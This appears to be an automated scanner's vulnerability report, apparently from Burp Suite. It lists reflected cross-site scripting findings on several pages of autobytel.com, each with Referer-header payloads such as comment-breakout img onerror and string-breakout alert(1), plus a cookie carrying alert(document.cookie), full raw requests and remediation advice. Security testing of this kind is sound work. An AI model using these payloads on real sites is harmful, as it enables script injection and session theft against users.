Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /coupons/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=3f142"%3balert(1)//d4b4f172a3f
The value of the Referer HTTP header is copied into an HTML comment. The payload a8404--><img%20src%3da%20onerror%3dalert(1)>ab45ce7e0a2 was submitted in the Referer HTTP header. This input was echoed as a8404--><img src=a onerror=alert(1)>ab45ce7e0a2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /coupons/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=a8404--><img%20src%3da%20onerror%3dalert(1)>ab45ce7e0a2
The value of the Referer HTTP header is copied into an HTML comment. The payload 9f889--><img%20src%3da%20onerror%3dalert(1)>be04e3ce11a was submitted in the Referer HTTP header. This input was echoed as 9f889--><img src=a onerror=alert(1)>be04e3ce11a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /diagnose-problem/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=9f889--><img%20src%3da%20onerror%3dalert(1)>be04e3ce11a
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 913d2"%3balert(1)//030d163c2c3 was submitted in the Referer HTTP header. This input was echoed as 913d2";alert(1)//030d163c2c3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /diagnose-problem/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=913d2"%3balert(1)//030d163c2c3
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ca510"%3balert(1)//6d1000ff8b8 was submitted in the Referer HTTP header. This input was echoed as ca510";alert(1)//6d1000ff8b8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=ca510"%3balert(1)//6d1000ff8b8
The value of the Referer HTTP header is copied into an HTML comment. The payload 7aff0--><img%20src%3da%20onerror%3dalert(1)>4f750af4e81 was submitted in the Referer HTTP header. This input was echoed as 7aff0--><img src=a onerror=alert(1)>4f750af4e81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=7aff0--><img%20src%3da%20onerror%3dalert(1)>4f750af4e81
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6951a"%3balert(1)//ac31482b0ba was submitted in the Referer HTTP header. This input was echoed as 6951a";alert(1)//ac31482b0ba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /new-car-price-quotes.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=6951a"%3balert(1)//ac31482b0ba
The value of the Referer HTTP header is copied into an HTML comment. The payload 7ce62--><img%20src%3da%20onerror%3dalert(1)>17e96f6cd8f was submitted in the Referer HTTP header. This input was echoed as 7ce62--><img src=a onerror=alert(1)>17e96f6cd8f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /new-car-price-quotes.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=7ce62--><img%20src%3da%20onerror%3dalert(1)>17e96f6cd8f
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86efc"%3balert(1)//865d083b25d was submitted in the Referer HTTP header. This input was echoed as 86efc";alert(1)//865d083b25d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /new-cars.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=86efc"%3balert(1)//865d083b25d
The value of the Referer HTTP header is copied into an HTML comment. The payload b6cf3--><img%20src%3da%20onerror%3dalert(1)>3dd5f85e0a7 was submitted in the Referer HTTP header. This input was echoed as b6cf3--><img src=a onerror=alert(1)>3dd5f85e0a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /new-cars.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=b6cf3--><img%20src%3da%20onerror%3dalert(1)>3dd5f85e0a7
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 846fe"%3balert(1)//69680248ec0 was submitted in the Referer HTTP header. This input was echoed as 846fe";alert(1)//69680248ec0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /repair-cost-calculator/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=846fe"%3balert(1)//69680248ec0
The value of the Referer HTTP header is copied into an HTML comment. The payload 7594a--><img%20src%3da%20onerror%3dalert(1)>fe2c7a68223 was submitted in the Referer HTTP header. This input was echoed as 7594a--><img src=a onerror=alert(1)>fe2c7a68223 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /repair-cost-calculator/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=7594a--><img%20src%3da%20onerror%3dalert(1)>fe2c7a68223
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c0fd"%3balert(1)//38463dba680 was submitted in the Referer HTTP header. This input was echoed as 8c0fd";alert(1)//38463dba680 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sitemap/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=8c0fd"%3balert(1)//38463dba680
The value of the Referer HTTP header is copied into an HTML comment. The payload 3a4d7--><img%20src%3da%20onerror%3dalert(1)>cdcd125056f was submitted in the Referer HTTP header. This input was echoed as 3a4d7--><img src=a onerror=alert(1)>cdcd125056f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /sitemap/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=3a4d7--><img%20src%3da%20onerror%3dalert(1)>cdcd125056f
The value of the Referer HTTP header is copied into an HTML comment. The payload 3f77f--><img%20src%3da%20onerror%3dalert(1)>952fad2b451 was submitted in the Referer HTTP header. This input was echoed as 3f77f--><img src=a onerror=alert(1)>952fad2b451 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /used-cars.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=3f77f--><img%20src%3da%20onerror%3dalert(1)>952fad2b451
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 27c0b"%3balert(1)//002cd38842 was submitted in the Referer HTTP header. This input was echoed as 27c0b";alert(1)//002cd38842 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
